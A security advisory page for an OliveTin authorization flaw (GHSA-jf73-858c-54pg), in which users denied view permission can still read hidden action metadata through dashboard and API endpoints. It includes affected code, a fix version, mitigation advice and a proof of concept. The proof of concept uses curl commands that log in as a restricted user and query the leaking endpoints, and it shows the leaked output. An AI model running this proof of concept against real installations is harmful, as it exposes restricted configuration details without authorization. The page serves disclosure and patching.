OliveTin doesn't check view permission when returning dashboardsGHSA-jf73-858c-54pg
MEDIUMFix: OliveTin/OliveTin@d796271GHSA-jf73-858c-54pg is a medium-severity (CVSS 6.5) Information Exposure vulnerability in github.com/OliveTin/OliveTin. A fix is available for github.com/OliveTin/OliveTin — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-jf73-858c-54pg.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/OliveTin/OliveTinReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints.
Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata.
Details
OliveTin defines a view permission in its ACL model (acl.go). However, this permission is not consistently enforced when building dashboard and action metadata responses.
Relevant source locations:
dashboards.go (around line 120, 132) apiActions.go (around line 122) acl.go (around line 125) api.go (around line 430)
Dashboard building logic:
for _, binding := range rr.ex.MapActionBindings {
if binding.Action.Hidden { continue }
action := buildAction(binding, rr) // checks IsAllowedExec only
fieldset.Contents = append(fieldset.Contents, ...)
}
Why vulnerable: IsAllowedView() exists but is not enforced when building dashboard/action metadata. Users with view:false still receive action titles/icons/argument metadata (with canExec:false).
PoC
- Configure OliveTin with a restricted user:
Create config.yaml:
authRequireGuestsToLogin: true
authLocalUsers:
enabled: true
users:
- username: admin
password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4" # password: admin123
permissions:
view: true
exec: true
logs: true
- username: low
password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4" # password: low123
permissions:
view: false # Should hide all actions
exec: false
logs: false
actions:
- title: "Secret Action"
id: secret_action
shell: echo "sensitive operation"
icon: "🔒"
description: "This action should be completely hidden"
arguments:
- name: target
title: Target
type: string
default: production
-
Start OliveTin with this configuration
-
Login as low-privilege user and capture session ID:
# Login as low user
LOW_SID=$(curl -s -i -X POST http://localhost:1337/api/LocalUserLogin \
-H 'Content-Type: application/json' \
-d '{"username":"low","password":"low123"}' \
| awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}' | tr -d ' ')
echo "Low user SID: $LOW_SID"
- Verify the web UI respects view:false (optional but illustrative):
Open http://localhost:1337 in a browser logged in as low user - the "Secret Action" should NOT appear in the UI.
- Test 1: GetDashboard endpoint leaks action metadata:
curl -s -X POST http://localhost:1337/api/GetDashboard \
-H 'Content-Type: application/json' \
-H "Cookie: olivetin-sid-local=$LOW_SID" \
-d '{"title":"Actions"}' | jq '.fieldsets[0].contents[] | select(.action.bindingId=="secret_action")'
Expected behavior (if fixed): Empty result or no matching action Observed behavior (vulnerable):
{
"action": {
"bindingId": "secret_action",
"title": "Secret Action",
"icon": "🔒",
"description": "This action should be completely hidden",
"canExec": false,
"arguments": [
{
"name": "target",
"title": "Target",
"type": "string",
"default": "production"
}
]
}
}
- Test 2: GetActionBinding endpoint directly exposes action details:
curl -s -X POST http://localhost:1337/api/GetActionBinding \
-H 'Content-Type: application/json' \
-H "Cookie: olivetin-sid-local=$LOW_SID" \
-d '{"bindingId":"secret_action"}' | jq '.'
Expected behavior (if fixed): HTTP 403 Permission Denied Observed behavior (vulnerable):
{
"action": {
"bindingId": "secret_action",
"title": "Secret Action",
"icon": "🔒",
"description": "This action should be completely hidden",
"canExec": false,
"arguments": [...]
}
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/OliveTin/OliveTin | all versions | 0.0.0-20260305082002-d7962710e7c4go get github.com/OliveTin/OliveTin@v0.0.0-20260305082002-d7962710e7c4 |
Affected Products
olivetinolivetinDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/OliveTin/OliveTin, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/OliveTin/OliveTin to 0.0.0-20260305082002-d7962710e7c4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jf73-858c-54pg is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is GHSA-jf73-858c-54pg in your dependencies?
Find it across Go, including transitive dependencies.